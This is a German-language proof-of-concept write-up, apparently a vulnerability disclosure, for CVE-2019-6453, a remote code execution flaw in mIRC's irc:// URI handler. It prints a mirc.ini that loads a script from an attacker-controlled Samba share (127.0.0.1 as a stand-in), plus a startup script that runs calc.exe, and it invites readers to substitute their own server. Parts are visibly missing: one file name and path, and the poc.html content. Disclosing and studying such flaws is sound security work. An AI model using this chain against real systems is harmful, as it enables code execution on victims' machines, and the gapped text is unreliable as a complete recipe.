
Proof of calc für CVE-2019-6453
Wir haben eine Schwachstelle für Remote-Codeausführung in mIRC über den irc://-URI-Protokollhandler gefunden. Da mIRC keinerlei Markierung wie -- verwendet, um das Ende der Argumentliste zu markieren, kann ein Angreifer über einen irc://-Link Argumente an mIRC übergeben und beliebigen Code ausführen, indem er eine benutzerdefinierte mirc.ini von einem vom Angreifer kontrollierten Samba-Dateiserver lädt. Bitte beachten Sie, dass ircs:// auf die gleiche Weise funktioniert.
Der Proof-of-Concept für calc benötigt drei Dateien: mirc.ini, calc.ini und poc.html. Wir gehen davon aus, dass auf der Angreiferseite ein Samba-Dateiserver läuft. Für das Beispiel gehen die folgenden Codeabschnitte davon aus, dass er auf dem Host 127.0.0.1 läuft (d.h. ersetzen Sie 127.0.0.1 in den folgenden Dateien durch die Adresse Ihres eigenen Servers, um dies auszuprobieren).
mirc.ini ist eine benutzerdefinierte Konfigurationsdatei, die sich auf dem Dateiserver unter C:\mirc-poc\mirc.ini befinden sollte.
[rfiles]
n2=\\127.0.0.1\C$\mirc-poc\calc.ini
ist eine entfernte Skriptdatei, die sich auf dem Dateiserver unter befinden sollte.
[script]
n0=on *:START: {
n1= /run calc.exe
n2=}
Ein einfacher Besuch von poc.html sollte funktionieren, vorausgesetzt mIRC ist als Standard-Handler für das irc://-URI-Schema eingerichtet und der Browser kodiert die Payload nicht. Je nach Browser und Ihrer Konfiguration kann trotzdem eine Eingabeaufforderung erscheinen (bei Firefox nicht der Fall).

Dieser PoC funktioniert für mIRC <7.55.
Sie können den PoC auf Edge 42.17134 (letzte Vorschauversion) und Firefox 64.0.2 (letzte Veröffentlichung) auslösen. Es funktioniert nicht in Chrome, weil Chrome URI-Protokolle so behandelt, dass die URI kodiert wird, bevor sie an die Anwendung übergeben wird (URI wird kodiert, bevor sie an die Anwendung übergeben wird).